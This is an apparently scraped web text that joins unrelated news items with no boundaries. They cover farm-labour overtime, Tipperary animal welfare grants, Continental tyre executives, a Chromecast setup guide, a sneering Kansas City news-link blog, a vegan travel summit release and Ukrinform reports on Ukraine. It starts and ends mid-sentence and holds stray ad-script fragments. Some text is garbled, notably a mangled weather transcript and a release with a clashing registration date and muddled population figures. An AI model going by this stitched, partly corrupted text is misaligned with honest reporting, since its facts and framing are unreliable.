exclude farm workers from minimum wage and overtime. Later on, following advocacy, farmers became entitled to minimum. Within recent years, advocates in New York, led by the NYCLU, fought for an overtime threshold and a right to a day of rest. Over the same time, California has moved toward a 40-hour overtime threshold. Workers in California have generally kept consistent number of hours, according to a recent study by the Economic Policy Institute, while farms have hired a substantial more amount of workers on seasonal visas to account for the changes. Six different animal welfare organisations in Tipperary are set to benefit from a combined total of 114,500 in funding, it has been confirmed by Fianna Fail TD and Chair of the Oireachtas Agriculture Committee, Jackie Cahill. Agriculture Minister Charlie McConalogue signed off on this funding on December 15t, the inaugural Animal Welfare Day. I am pleased to announce that Minister Charlie McConalogue has signed off on a significant sum of funding for animal welfare organisations around the county. This funding announcement is being made on the inaugural Animal Welfare Day, an initiative of the Fianna Fail Minister to raise awareness of animal welfare," said Deputy Cahill. The Thurles-based TD said that the six organisations in Tipperary will benefit from the 114,500 in total, with 48,500 going to PAWS Animal Rescue, Mullinahone; 23,000 has been allocated to Roscrea SPCA, while Mo Chara Animal Rescue, Moyne will receive 18,000. The Cappanagarrane Horse Rescue, Mullinahone and Tipperary Friends of Animals, Nenagh, are to receive 9,000 each, with the final 7,000 being allocated to The Haven Rescue, Clonmore, Templemore. The Oireachtas Agriculture Committee, which I chair, has a keen interest in improving animal welfare standards in this country, as do I personally, and I am delighted to see this funding for the Premier County, said Deputy Cahill. The Minister for Agriculture, Food and the Marine has announced funding of more than 3.7million to 98 animal welfare organisations nationwide. Minister Charlie McConalogue unveiled the funding on the inaugural Animal Welfare Awareness Day, an initiative to raise awareness of animal welfare. To mark the day, the Fianna Fail minister is to visit donkeys housed at Farmleigh Estate and the Donkey Sanctuary as well as the DSPCA headquarters in Rathfarnham, Dublin. I am delighted that on the first ever Animal Welfare Awareness Day, I can acknowledge the fantastic effort and commitment of our amazing animal welfare organisations and, indeed, the many volunteers dedicated to animal welfare, the minister said. These organisations play such a crucial role in ensuring all our animals are cared for and protected. This is frontline work that we can all be proud of. In line with our commitment in the Programme for Government, these awards mark the largest award of grant funding to animal welfare bodies ever made by my Department. This additional support will make a real difference to the welfare of animals nationwide. Minister McConalogue said that animal welfare is increasingly important to Irish citizens. We are ever more aware of the inter-relationship between the welfare of animals and human wellbeing, he added. Maintaining animal welfare standards is the responsibility of everyone in our society; for those who own, care for, or are responsible for animals, whether on farm or at home. To, ensure that funding for animal welfare bodies has the most impact nationwide, this year, my department has aligned our funding model with the animal welfare policies, objectives and priorities outlined in the new Animal Welfare Strategy 2021-2025. The minister also urged people to think carefully before getting a pet this Christmas. A pet can bring great joy, but with that comes responsibility. Owning and caring for a pet is a major, long-term commitment, he added. There is excellent advice on my Departments website and from many of the welfare organisations please think carefully before deciding to buy a puppy this Christmas and take responsibility for your choice. Effective January 1, 2022, Continental has announced three new leaders for its passenger car and truck tire replacement business in the Europe, Middle East and Africa (EMEA) and Asia-Pacific (APAC) regions. Having headed Continentals replacement tire business in the APAC region since 2018, Ferdinand Hoyos will now manage the tire makers replacement tire business in the EMEA regions, succeeding Philipp von Hirschheydt. As a member of the tire board, Hoyos will continue to report to Christian Kotz, a member of the executive board of Continental, responsible for the tires business area. ') } // --> ') } else { console.log ('nompuad'); document.write('') } // --> ') } else { console.log ('nompuad'); document.write(' ') } // --> ') } else if (width >= 425) { console.log ('largescreen'); document.write('') } else { console.log ('nompuad'); document.write('') } // --> Hoyos joined Continental in 2006 after starting his career as a consultant in strategy and corporate finance. He was head of the companys M&A and corporate real estate management team for some time, and led the companys replacement tire business in the Andina region (Venezuela, Colombia, Peru, Bolivia, Chile and Ecuador). At the start of 2022, Philipp von Hirschheydt will move to the tire manufacturers automotive group sector, where he will lead the new user experience business area. Before joining Continental in 2007, Hirschheydt held several positions in corporate finance and M&A in the banking sector. Since 2018 he has been responsible for Continentals replacement tire business in the EMEA region. Dalibor Kalina will succeed Ferdinand Hoyos and become the new head of the replacement tire business in the APAC region on January 1, 2022. As a future member of the tire board, Kalina will also report directly to Christian Kotz. Since 2015, Kalina has been the head of Continentals passenger car replacement tire business in China. Having begun his career at Slovakian tire manufacturer Matador, he has been with Continental since 2007. He has held management positions at Continental Barum (Czech Republic) in addition to his most recent position as the market head for Continentals passenger car replacement tire business in China. In their previous positions, Philipp von Hirschheydt, Ferdinand Hoyos and Dalibor Kalina contributed greatly to our profitable growth, said Kotz. They drove forward the implementation of our Vision 2030 strategy program, which aims to consistently align the tires business area and all its activities in a customer-focused manner. On behalf of the entire tire board, I would like to thank them for their commitment and wish them every success in their respective new roles in the tires and automotive group sector. A Long Island police official will be New York Citys next police commissioner, becoming the first woman to lead the nations largest police force Several environmental, Indigenous and social justice advocates are suing the Oregon Department of Justice, alleging the states TITAN Fusion Center for intelligence gathering has unlawfully spied on demonstrators fighting the now-defunct $10 billion Jordan Cove pipeline Bostons mayor says the city will move people living in a sprawling homeless camp on Massachusetts Avenue off the streets and into housing by Jan. 12 Instructions for how to set up Google Chromecast are the one thing that the excellent streaming device doesn't offer. So, if you feel left adrift, we've got all the advice for how to start using one of the best streaming devices. Before you start binge-watching everything the Internet has to offer, though, youll need to get the device up and running. The Chromecast setup process is generally simple and intuitive, but if you find yourself stuck on any of the steps, our guide can clarify what to do next. Instructions for setting up the new Chromecast with Google TV (which has a remote, and actual apps) vary slightly, so we're including a separate section on that at the bottom of this article. How to set up Chromecast 1. Hook up the Chromecast to your TV. This part of the process is pretty foolproof. Plug the Chromecast into your TVs HDMI port and the USB wire into a compatible port or power outlet. Just keep in mind that if youre using a 4K-compatible Chromecast Ultra youll need to connect the adapter to an outlet; a USB port doesnt supply enough power to sustain it. 2. Download the Google Home app. You can acquire the Google Home app either through the Google Play Store or the Apple App Store. Most Android devices should already come with it preinstalled, though. If youre using a Chromecast with a computer, you dont need the Home app; just having Google Chrome installed is enough. Visit Googles Chromecast website and follow the instructions. MORE: Best Streaming Services This would also be a good time to turn on your TV and select the right input, although technically, you can go through most of the setup process without it. (Image credit: Google) 3. Click the + sign in the top left corner. (Image credit: Google) 4. Select Set up device. Note that you may get a prompt on the bottom of your screen to set up a new device; this will work, too. (Image credit: Google) 5. Select New devices. (Image credit: Google) 6. Choose a home you're installing it in. The Google Home app will now set up the Chromecast. You dont have to do anything except tap Continue when prompted. (Image credit: Google) 7. Select Chromecast (Image credit: Google) 8. Tap Next in the bottom right corner. 9. Tap Yes to confirm the 4-character code on screen. 10. Tap I agree to agree to the legal fine print. (Image credit: Google) 11. Opt in or out of Google's data sharing. 12. Tell Google Home what room your device is in. 13. Pair your Chromecast with a Wi-Fi network. (Image credit: Google) 14. Tap Continue 15. Tap next to set up Google Assistant on the Chromecast 16. Add or skip a series of service options. You'll get options for radio, video and then live TV. 17. Click Sign Up if you want emails about Google hardware. 18. Click Next. 19. Take the tutorial (optional) If youve never used a Chromecast before, it couldnt hurt to let Google Home demonstrate how Casting works. Select Learn How to Cast, and follow the instructions. Alternatively, Toms Guide also has a story on how to do this. (Long story short: Find a compatible app, press the Cast button. Thats really all you have to do.) Disney Plus Disney Plus is one of the top services that supports Chromecast, both with its Google TV app and the Cast button. How to set up Chromecast with Google TV This process is largely similar to the above, so we'll only show the screens and images where they differ. 1. Plug in the Chromecast with Google TV to a power outlet 2. Plus in the Chromecast with Google TV to your TV's HDMI port (Image credit: Google) 3. Hold the Back and Home buttons on the Chromecast remote, as instructed on screen 4. Select your language 5. Download and open the Google Home app from the Google Play Store or the Apple App Store (Image credit: Google) 6. Tap the Set up Chromecast button in the Google Home app. (Image credit: Google) 7. Choose a "home" where your Chromecast with Google TV will be used. This is basically how users split smart home tech across locations. (Image credit: Google) 8. Grant the Google Home app access to your device's camera. 9. Open your device's camera app and scan the QR code on your TV. (Image credit: Google) 10. Agree to Google's legal language twice. 11. Choose the location of your Chromecast with Google TV. (Image credit: Google) 12. Name your Chromecast with Google TV if you want. 13. Connect to a Wi-Fi network. 14. Sign in with your Google Account, and you're in the final stretch. What follows are a series of account management options, all done on your phone. (Image credit: Google) 15. Agree (or disagree) to share location and diagnostic data. 16. Allow (or deny) Google the ability to connect with your device's apps. 17. Enable or disable Voice Match. (Image credit: Google) 18. Link apps and services you use. 19. Select Google Photos or Art for your Ambient mode. This is your screensaver. 20. Opt in or out of emails from Google about hardware. Now, your Chromecast with Google TV will finish setting up! You're done! Read next: the best TV Antennas On this breezy December morning we're confronted with an existential debate given that AOC tells us we've all got less than 12 years before the sky falls. Here's the question . . . SHOULD WE BLAME DECEMBER WIND WARNINGS IN KANSAS CITY ON CLIMATE CHANGE?!? It's a tough call, here are a few considerations . . . It has been windy in Kansas City before . . . Quite often actually. However, after nearly two years of COVID fear, it seems strange to watch newsies hype old school weather warnings that are typically used to discourage boomers from going out on a weekend night. As always, the weather newsies are seemingly loving every minute of this "crisis" and their subsequent spike in screen time. We can hear that the wind is picking up and hopefully locals will be advised . . . In the meantime, our friends on social media will likely take this opportunity to release a great deal of their own hot air and hound locals about threats to the environment from all manner of luxuries, not just hilarious cow farts bovine emissions. Read more via www.TonysKansasCity.com news links . . . Most of Kansas City area upgraded to High Wind Warning on Wednesday KANSAS CITY, Mo. - Kansas City could shatter records Wednesday when it comes to high temperatures as we're expected to warm up into the 70s. But the bigger story will likely be how windy it's going to be. If you thought it was windy Tuesday, that was child's play compared to the gusts we'll see Wednesday. Trying to tie down 35-foot inflatables in the high winds KANSAS CITY, MO (KCTV) -- The National Weather Service has issued a high wind warning for Wednesday, with gusts up to 65 mph. They're advising everyone to tie down outdoor ornaments and furniture, slow down with both hands on the wheel, and watch for debris coming your way. Kansas City-area residents, officials prepare for strong winds on Wednesday "If we do see that 60 MPH wind tomorrow it is possible that we could see wind caused outages," said Andrew Baker, Evergy spokesperson. "We do have crews ready to go if that is the event but that's a high number where the potential is there." Expect very strong winds on Wednesday Hide Transcript Show Transcript PICKING UP TO 20 STARTING TO GET GUSTY BY TOMORROW MORNING 64 WARRENSBURG9 5 IN MARSHALL 57 LEAVENWORTH 54 DEGREES IN MARYVILLE 56 IN TREONNT TO BEGIN THE DAY 12 HOUR FORECAST. LOOK AT THE TEMPERATURES MILD. OUR RMNOAL HIGH IS IN TH40E S. Scientists Speculate if Climate Change is Linked to the Deadly Tornadoes that Tore through US The deadly tornado outbreak that tore through the central US was so unusual in its duration and strength, particularly for December, that many people are speculating if climate change has something to do with it. What we know about the connection between tornadoes and climate change Record-breaking tornadoes on late Friday and early Saturday left at least 88 people dead across five states in the South and Midwest, making it the most deadly tornado outbreak in the U.S. in more than a decade. At least 40 tornadoes were reported across nine states, an unusually high amount for December. The Arctic fails its annual health check as global warming brings more ills to the region From extreme melt events to an influx of beaver colonies in Alaska, and rain falling at the summit of Greenland for the first time on record, the Arctic region showed clear symptoms of an ailing planet over the past year. Developing . . . The pandemic numbers look dire going into the "dark winter" promised by Prez Joe Biden. Accordingly . . . Here's a stolen passage quote regarding the numbers from a lesser blog . . . COVID-19 cases and deaths rose significantly in the past week in the Kansas City area. In the last seven days, 44 people died from COVID-19 in the metro. Thats more than double the previous weeks death toll of 19. As of Tuesday, the rolling average of new COVID-19 cases across the metro area is around 748 per day over seven days, according to data tracked by The Star. Thats higher than last weeks average of 732 and each of the five weeks prior. Forty-four people have died from COVID-19 around Kansas City in the past week, bringing the death total up to 3,301 since the pandemic began. Read more via www.TonysKansasCity.com news links . . . People under 40 account for majority of all Missouri COVID cases by: Kevin S. Held Posted: / Updated: JEFFERSON CITY, Mo. - A majority of all recorded COVID-19 cases in Missouri are for people under 40 years of age. According to the Missouri Department of Health and Senior Services (DHSS), the state has recorded 769,314 cumulative cases of SARS-CoV-2-an increase of 1,800 positive cases (PCR testing only)-and 12,797 total deaths as of Tuesday, Dec. Covid-19 vaccinations began a year ago. These numbers show how it's going On December 14, 2020, a nurse in New York City became perhaps the first person in the US to get vaccinated against Covid-19. A year later, billions of people around the world have been vaccinated. Here's a look at Covid-19 vaccines, by the numbers. Owner of several local hospitals pauses its vaccine mandate for employees KANSAS CITY, Mo. - HCA Healthcare, the parent company of several Kansas City area medical centers such as Overland Park Regional Medical Center and Centerpoint Medical Center, has paused its vaccine mandate for employees in many states, including Missouri and Kansas. Apple will require masks for customers at all U.S. stores because of rising Covid cases Customers at Apple stores in the United States will be required to wear face masks to shop as Covid cases rise around the country. Previously, Apple only required masks in some U.S. stores in regions that required them. Tuesday's announcement means that Apple will require them for shoppers even in states that don't require indoor masking. COVID-19 LOCAL UPDATES: Missouri reports 1,800 new cases Tuesday Here are the latest COVID-19 updates around the Kansas City metro area, and in Kansas and Missouri: TUESDAY, DECEMBER 14MISSOURI: TOTAL CONFIRMED CASES: 769,314 (+1,800) CONFIRMED DEATHS: 12,797 (+71) 7-DAY PERCENT POSITIVE: 12.5% TOTAL VACCINE DOSES ADMINISTERED: 7,561,018 PERCENT OF POPULATION WITH 1 DOSE: 59.5% PERCENT OF POPULATION WITH 2 Developing . . . In this collection of local news we consider an allegation of profiling and the historical context that, tragically, influences every police stop. And then check reports of police action, court cases and ALLEGED misdeeds. Here's TKC news gathering . . . Area teacher questions why he's considered white in traffic stop Kansas City, MO (KCTV) -- Justin Robinson is a Kansas City teacher. He was driving home from school earlier this month when he was stopped by police for speeding. He says other cars were going faster than he was and believes he was targeted. "Okay, I'm getting pulled over," Robinson told us. FBI asking for help in unsolved Commerce Bank robbery The Kansas City division of the FBI says they're still looking for a man they say robbed a Commerce Bank located in Gladstone on Nov. 20, 2021.It happened around 11:40 a.m. at 6334 N Antioch Road in Gladstone, Missouri. The FBI said the man entered the bank and verbally demanded money. Johnson County jury awards father $41 million in daycare suit KANSAS CITY, Mo. - A woman found guilty of severely beating a 4-month-old boy and illegally operating a daycare out of her home is facing a $41 million judgment in Johnson County District Court. , Paige Hatfield, 30, of Olathe, Kansas, was found guilty by a Johnson County jury of severely injuring Kingston Gilbert, leading to severe brain injuries that left him blind. Woman convicted in Leavenworth knife attack KANSAS CITY, Mo. - A Lansing, Kansas, woman was convicted Tuesday in an attack that left a man with nearly a dozen stab wounds. Becky Lynn Kelly, 50, faced a charge of aggravated battery in a Jan. 7 incident at a Lansing apartment complex, according to a news release from the Leavenworth County Attorney's Office. Denham found guilty of killing family in 2016 Edgerton fire PLATTE COUNTY, MO (KCTV) -- A man has been found guilty of numerous felonies after killing four relatives in a house fire. Grayden Denham was accused of killing his grandparents, sister, and infant nephew in a fire in 2016. Ryan Stokes' family in court, hopeful jury will hear his case KANSAS CITY, Mo. - After eight years of waiting, a Kansas City family got at least one step closer to having their case tried in front of a jury. Ryan Stokes' family and attorney were in court in St. Louis on Tuesday. The eighth circuit court of appeals is hearing the case. Police, retailers seek assistance in fight against theft, smash-and-grabs ( NewsNation Now) - As thieves become increasingly bold, retailers are seeking support from their police and lawmakers to prevent the kinds of smash-and-grab robberies that are taking hold nationwide in places such as Florida, California and Illinois. Just a bit of hope for tonight . . . From KCPD: "Were lighting up the sky to bring some extra joy to the kiddos & staff at Childrens Mercy Hospital! Its our 1st Night Lights where first responders are parading around the hospital with their emergency lights on. This was one of our officers ideas, and we love it!" Developing . . . After the feds captured participants in the capitol riot, quite a few of them are still rotting in a dungeon somewhere and now they're up against formidable legal consequences that will prove exceptionally costly. Even worse . . . They're antics have earned scathing indictments from MSM and Tucker Carlson can only give them a few minutes every night for support . . . Like some kind of neglected side piece. Accordingly . . . Here's the MSM update . . . Four Kansas City-area men are among the defendants named in a lawsuit filed in federal court Tuesday in Washington, D.C., that calls the Proud Boys and Oath Keepers domestic terrorists and seeks to recover the costs of the deadly Capitol insurrection. Many, including the four from the Kansas City area William Chrestman and Christopher Kuehne of Olathe, Louis Enrique Colon of Blue Springs, and Ryan Keith Ashlock of Gardner are charged with conspiring to breach the Capitol on Jan. 6. Read more via www.TonysKansasCity.com news links . . . Capitol attack a coordinated act of terrorism, says DC lawsuit against far-right groups The attorney general of the District of Columbia, Karl Racine, has announced that his office is suing the far right groups the Proud Boys and the Oathkeepers for conspiring to terrorize the District D.C. Attorney General sues Proud Boys, Oath Keepers over Jan. 6 Washington, D.C., Attorney General Karl Racine announced Tuesday that he has filed a lawsuit against far-right militia groups the Proud Boys and the Oath Keepers to recover millions of dollars the city spent to defend the U.S. Capitol during the deadly Jan. 6 riot. Developing . . . A few more deets about a local celebrity appearance that turned out horribly . . . According to a report, obtained by TMZ, Carey got physical with the other person, shoving them in the chest with two fingers and shouting, "You're a f*****g f****t!" multiple times. Here's an even more clinical description from a local news outlet . . . "Drummer Daniel Edwin Carey is facing municipal assault charges after the incident, reported around 7 p.m. on Sunday when airport security receiving a report of a disturbance between two males in one of the terminals. According to Kansas City Municipal Court documents obtained by KSHB 41 News, Carey allegedly yelled at the other person, using a derogatory word for a lesbian, gay, bisexual or transgender person and was jabbing the person in the chest with two fingers." Read more via www.TonysKansasCity.com news links . . . Tool Drummer Danny Carey Arrested For Assault at Kansas City Airport Danny Carey, the drummer for Tool, got busted for assault at the airport in Kansas City ... and cops say it all stems from a fight he got in with someone inside the terminal. Law enforcement sources tell TMZ ... Tool drummer allegedly used derogatory word during KCI incident KANSAS CITY, Mo. - Court documents revealed more details Tuesday about an incident Sunday at Kansas City International Airport involving the drummer of the band Tool. Drummer Daniel Edwin Carey is facing municipal assault charges after the incident, reported around 7 p.m. Developing . . . Vegan Travel Summit (TRAVPR.COM) UNITED STATES - December 15th, 2021 MEDIA RELEASE: December 15, 2021 Travelling in a New Vegan World Summit-Vegan Travel Association Toronto The Vegan Travel Association (VTA) is excited to announce the 2022 Travelling in a New Vegan World Summit (#NVW22). This virtual event will take place over 17 days on the platform Hey Summit - a global collaboration software used to host summits, talk-series, conferences and events. The Travelling in a New Vegan World Summit will take place January 15th - 31st, 2022 with an Opening Session on January 14th and best of all - admission is free. The Vegan Travel Association is a collective of travel professionals who support travellers and travel businesses from all over the world that identify as vegan or plant-based - a first for any association in Canada. The VTA includes businesses from Canada, USA and across the world. The founding organizations/members are Vegan Vacations, Green Earth Travel, World Vegan Travel, Veg Voyages, Vegan Travel Club, Margie Travels & Jennifer Kern-Kaminsky, CTA. Veganism is more than just a way of eating says Jason McGregor, owner of Vegan Vacations. Vegan travel means you will not be faced with any element of your vacation having an adverse action on animal life - no leather chairs in the room, no feather pillows or comforters on the bed, no tested on animal hygiene products in the bathroom and dining options that are designed to support vegan health. The days of only accommodating vegans by removing elements from regular menu items are behind us. The Travelling in a New Vegan World Summit (#NVW22) will include: Over 40 speakers with a focus on vegan travel Over 40 presentations designed to support and engage vegan travellers Both live and pre-recorded presentations to inspire and educate vegan travellers on what options currently support their travel desires Travel companies showcasing which products they offer that support vegan travellers This is the second year the Travelling in a New Vegan World Summit has been held. It started in 2021 with a small group of presenters, just a handful of presentations and the response was phenomenal. We knew there was a huge need to support vegan travellers says Donna Zeigfinger, owner of Green Earth Travel. The feedback from the first annual summit was so positive and encouraging. Clients and new prospects alike were thrilled to participate in such a supportive event that it was a no-brainer to carry the summit forward year after year. From the initial summit, a private Facebook group called by the same name, Travelling in a New Vegan World was formed and now currently has over 2000 members. They regularly host live sessions on Facebook as well as informal chats on the new platform Clubhouse, under the Vegan Travel Club moniker. This years summit event itself will not only educate and inspire vegan travellers, it will also allow the businesses that support these travellers to connect directly with people from all across the world. We want to continue to build a strong community of like-minded travellers. Together we share reviews, tips, places to avoid, resorts and hotels that already support vegan travellers plus the moments that changed us says McGregor. The event isnt just virtual because of the current travel climate. A virtual event opens the door to support vegan travellers all over the world and not just in North America. says McGregor. If we tried to host this in Canada, despite the fact that it is estimated that ten percent of the Canadian population identify as vegan, that number is closer to eight million globally. That is a huge number of travellers that have limited options when it comes to travel. The VTA is determined to change that. Registration opens December 1st, 2022 at https://nvw22.heysummit.com and everyone is encouraged to get their free tickets before they are sold out. ### Over the past 24 hours, the Ukrainian military recorded seven ceasefire violations by the Russian occupation forces. This is stated in the morning update the Joint Forces Operation HQ released on Facebook, Ukrinform reports. It is noted that two of the said shellings involved weapons proscribed by the Minsk agreements. Near Novoluhanske, the enemy opened fire using large-caliber machine guns and small arms. Toward Novotoshkivske, the occupiers employed anti-tank and automatic grenade launchers. In the area of Avdiyivka and Hranitne, the enemy fired 120-mm mortars. Toward Starohnativka, the invaders opened fire using anti-tank grenade launchers and large-caliber machine guns. Russian mercenaries also engaged Ukraines positions with MANPADs and small arms near Novomykhailivka. Not far from Vodiane, enemy troops opened fire using MANPADs. A Ukrainian soldier was wounded in one of the enemy attacks. The serviceman has been evacuated to a medical facility where he is undergoing treatment, remaining in a moderate condition, as per the report. As of 7:00 Kyiv time on Wednesday, December 15, Ukrainian troops recorded another violation of the ceasefire regime by the Russian occupation forces which employed arms banned by Minsk accords. In the direction of Pervomaiske, the occupiers fired 82-mm mortars and anti-tank grenade launchers. The attack brought no casualties, the report adds. Ukrainian troops returned fire without using any weapons proscribed by the Minsk agreements, forcing the enemy to cease fire. Joint Forces keep monitoring the situation in the zone of hostilities, remaining ready to deter and repel Russias armed aggression. im Ukraine and Sweden have signed an updated agreement on defense cooperation, the Ukrainian Defense Ministry's press service has reported. During their meeting in Stockholm, Minister of Defense of Ukraine Oleksiy Reznikov and Minister of Defense of Sweden Peter Hultqvist signed an updated agreement on cooperation in the field of defense, the report said. "The partnership between Ukraine and Sweden is developing intensively, and defense cooperation demonstrates, in my opinion, the greatest dynamics. Today, by putting our signatures under an updated agreement on cooperation in the field of defense, we have taken another and very important step in this direction," Reznikov said. During their meeting, both parties discussed the security situation in Ukraine and neighboring countries, among other things, in the context of Russia manufacturing a migration crisis on the Polish-Belarusian border. According to Reznikov, the response of the entire civilized world to actions by Russia that pose a threat to the whole of Europe should be proactive and preventive. "It is necessary to make the price of escalation unacceptable for Russia, and the cost of temporary occupation of part of Ukrainian territory is constantly growing. Then we will be able to prevent the worst and continue the political and diplomatic process," Reznikov added. Reznikov is on a working visit to Sweden. The minister is accompanied on the visit by Deputy Minister of Defense of Ukraine Oleksandr Polishchuk, Deputy Commander-in-Chief of the Ukrainian Armed Forces, Lieutenant General Yevhen Moisiyuk, and other officials. Photo credit: mil.gov.ua op In the southern district, an exercise is underway for anti-tank artillery and engineering units, deployed along the de-facto border with the temporarily occupied territory of the Autonomous Republic of Crimea. In the latest effort, several units simultaneously worked out training tasks in close cooperation with each other, Ukrinform reports referring to the press service of the Joint Forces Command. Commander of the Joint Forces of the Armed Forces of Ukraine, Lieutenant General Serhiy Nayev, said the task of the drill was to repel an attempt by a conventional adversarys tank force to penetrate Ukraines defenses in the area most vulnerable to such operations. "Within minutes, they (Ukrainian units - ed.) took up their designated positions, deployed artillery units, and started installing mine barriers," Nayev said. According to the Commander, servicemen participating in the exercise have mastered the relevant skills over the eight years of war in Ukraines east, which allowed them to perform their tasks clearly, confidently, and in a coordinated manner. As Ukrinform reported earlier, on October 20, artillery anti-tank reserves took part in a training exercise as part of a South military grouping at one of the combat training grounds in Kherson region. They were tasked to respond to the breakthrough attempt by conventional enemy manpower and armored vehicles. Anti-tank forces demonstrated their practical skills in deploying units and engaging the targets, as well as rapidly maneuvering across positions. im The Turkish side is interested in fruitful cooperation with Ukrainian enterprises based on an effective combination of scientific and industrial components. Thats according to a statement by the press service of the Ministry for Strategic Industries, released after the meeting of Minister Pavlo Ryabikin and Turkeys Ambassador to Ukraine Yagmur Ahmet Guldere, as seen by Ukrinform. During the meeting, the parties discussed aspects of bilateral cooperation between the two countries, focusing on the development of the strategic partnership. Particular attention was paid to creating the most favorable conditions for Turkish investment to enter the Ukrainian market, as well as cooperation in the aerospace and shipbuilding industries. Read also: Turkey comments on agreement on combat drone supplies to Ukraine Following the meeting, Ambassador Extraordinary and Plenipotentiary of the Republic of Turkey to Ukraine, Yagmur Ahmet Guldere, stressed the interest of the Turkish side in fruitful cooperation between the two countries enterprises based on an effective combination of scientific and industrial components. In turn, the Ukrainian Minister expressed support for developing cooperation between the countries and assured of maximum assistance to the Turkish side in accelerating the implementation of various investment projects. As Ukrinform reported earlier, the Ministry of Strategic Industries has developed a draft Strategy for Import Substitution in Strategic Industries. im The World Bank will grant Ukraine EUR 300 million to increase its energy efficiency. First Deputy Prime Minister Minister of Economy of Ukraine Yulia Svyrydenko announced this on Facebook. Svyrydenko discussed key issues of deepening of partnership with World Bank Regional Country Director Arup Banerji on December 14. "Good news: already on December 17, the Board of Governors of the World Bank will consider the provision of EUR 300 million to Ukraine within the framework of the second tranche under the Second Economic Recovery Development Policy Loan project. These funds will be used primarily to finance the presidential Energy Independence project," Svyrydenko noted. According to her, a large-scale thermal modernization program is designed to significantly reduce the energy consumption of Ukrainians and, accordingly, energy costs. "Program participants will be able to reduce energy consumption and utility payments by 60%. Already in 2022, we plan to cover up to 5,000 multi-apartment buildings throughout the country," the official added. Svyrydenko noted that a comprehensive document on cooperation areas is being prepared jointly. The document is the partnership strategy for 2022-2026 with a focus on the economic development of Ukraine, macro-financial stability, introduction of e-governance and digitalization, expansion of export markets, and enhancement of the competitiveness of Ukrainian green technologies. "Also, we expect the World Bank to implement investment projects in mechanical engineering, energy, information technologies, agriculture, and construction," Svyrydenko added. According to her, an important director of cooperation remains greater competitiveness in foreign trade. "Another priority is the expansion of public-private partnerships and overall improvement of the business climate. Cooperation with the World Bank is important for us not only due to financial support for important projects but also as expert assistance in implementing reforms," Svyrydenko stressed. As reported, Ukraine will receive an additional $150 million from the World Bank to overcome the COVID-19 pandemic. ol Ukraine is interested in the study of Israel's experience of state support for the development of advanced technologies, commercialization of scientific research, creation of startups, and encouragement of investments in innovation. "Ukraine is interested in exchanging experience and studying Israel's practice of state support for such areas as the development of advanced technologies, commercialization of scientific research, creation of startups, and encouragement of investments in innovation," Prime Minister of Ukraine Denys Shmyhal said in the video address at the opening of the Ukrainian Israeli Innovation Summit 2021, an Ukrinform correspondent reports. According to him, there is another important area in which the cooperation between the two countries is already ongoing: information and advanced technologies. The Prime Minister believes that this area has a significant potential for the development and expansion of further cooperation and implementation of joint promising projects. Shmyhal also recalled that this year two countries celebrate the 30th anniversary of diplomatic friendship, cooperation, and mutual support. "For 30 years of cooperation, we have many achievements. We hope that more joint projects will be implemented further, including due to the Ukrainian Israeli Innovation Summit which gathers opinion leaders and high-level professionals in various spheres," he emphasized. "Im glad to note that the UkrainianIsraeli forum becomes a platform that promotes the establishment of ties and provides opportunities for the exchange of experience. This is a professional field in which every acquaintance has the potential of efficient long-term international projects," the Head of Government added. Ukraines strategic significance for Israel is very high. This is the only country in the post-Soviet space having a very effective partnership with Israel, Ambassador of Israel to Ukraine Michael Brodsky said at the summit. "Ukraine is a unique country and is of unique significance to Israel because Ukraine's strategic importance is very high. First, we can note the food sector. You know that we import wheat, and this import accounts for about half of all wheat imports to Israel. I want to point out cooperation in IT sector, it is also very important. We order a lot of outsourcing services from Ukraine," the diplomat said. Brodsky added that Ukraine is the only country in the post-Soviet space that has a very effective partnership with Israel. In particular, the Ambassador mentioned the launch of a trade agreement in the IT and financial sector with Ukraine. As reported, Ambassador Brodsky said in October that Ukraine and Israel would start negotiations on the conclusion of an agreement on free trade in services next year. The 4th Ukrainian Israeli Innovation Summit kicked off in Kyiv on December 15. This year, the event is dedicated to the 30th anniversary of friendship and innovative prospects for cooperation between Ukraine and Israel. ol Ukraine is very interested in Israel's experience of gas production and export, given the issue of energy security of our state. "In my opinion, the new trend will be the development and study of energy, since not everybody knows that Israel, being a country that purchased oil and gas for many years, now exports gas to Arab countries, in particular, to Egypt and Jordan, extracting its own gas on the continental shelf of the Mediterranean Sea," Ambassador of Ukraine to the State of Israel Yevhen Korniychuk said at the Ukrainian Israeli Innovation Summit 2021, an Ukrinform correspondent reports. This experience is very interesting for Ukraine to further promote its energy security, Korniychuk stressed. As reported, President of Ukraine Volodymyr Zelensky plans to make a visit to Israel next year at the invitation of President of Israel Isaac Herzog. ol The fake story about the alleged wrongdoings of the Ukrainian diplomats working in Lebanon, launched by the Russian foreign ministry, aims to create a smokescreen amid the fallout over the case involving Russian diplomats smuggling cocaine. Thats according to Foreign Ministry Spokesman Oleh Nikolenko, who addressed the issue on Facebook, Ukrinform reports. "Yesterday, media reports said a jury in Moscow found four suspects guilty. They face up to 25 years in prison. Let me remind you that the case concerns an attempt to smuggle into Russia out of the Russian embassy in Argentina, on a government-operated plane, a 400-kg batch of cocaine worth EUR 35 million, Nikolenko wrote. Read also: SBU uncovers two drug trafficking schemes The spokesperson addressed a post on social media by Russian Foreign Ministry Spokeswoman Maria Zakharova claiming that Ukrainian diplomats at the Lebanese embassy were allegedly issuing tourist visas to Syrian nationals willing to move to Europe and "helping them cross the Syrian-Lebanese border." "Obviously, insinuations as regards Ukrainian diplomats have become a side effect of the Russian cocaine case," Nikolenko added. As reported, in February 2020, twelve suitcases with almost 400 kilograms of cocaine were discovered at the school located at the premises of the Russian Embassy in Argentina. They had been tagged as diplomatic cargo. To identify those involved in a drug trafficking scheme, law enforcers replaced cocaine with flour before the batch was sent to Moscow. The perpetrators plan was to use Russian diplomatic mail as a coverup. The drug trafficking scheme turned out to have been built into the shipment system run by Russias Ministry of Foreign Affairs. According to media reports, the government-run plane, which is used by the Secretary of Russias Security Council Nikolai Patrushev, was employed to ship the batch. im President Volodymyr Zelensky discussed further steps towards the peaceful settlement of the situation in eastern Ukraine with Prime Minister of Italy Mario Draghi. Had a fruitful conversation with Mario Draghi. We exchanged views on the security situation around Ukraine. Further steps on its de-escalation and peaceful settlement in Donbas were discussed. Grateful for the firm support of Italy for the sovereignty and territorial integrity of Ukraine, the President posted on Twitter. As reported, in an interview with 1+1 TV channel on December 10, Zelensky expressed hope that not only the Minsk process but also a platform with the participation of the United States of America will be among the options for negotiations with Russia on settlement of the conflict in the east. ol - President Zelensky, Vladimir Putin is again gathering his troops on the border with Ukraine. Do you think that this time military maneuvers pose a greater threat than usual? - What are the troops, amassed near our border, being used for? This is blackmail potential, first of all, against the 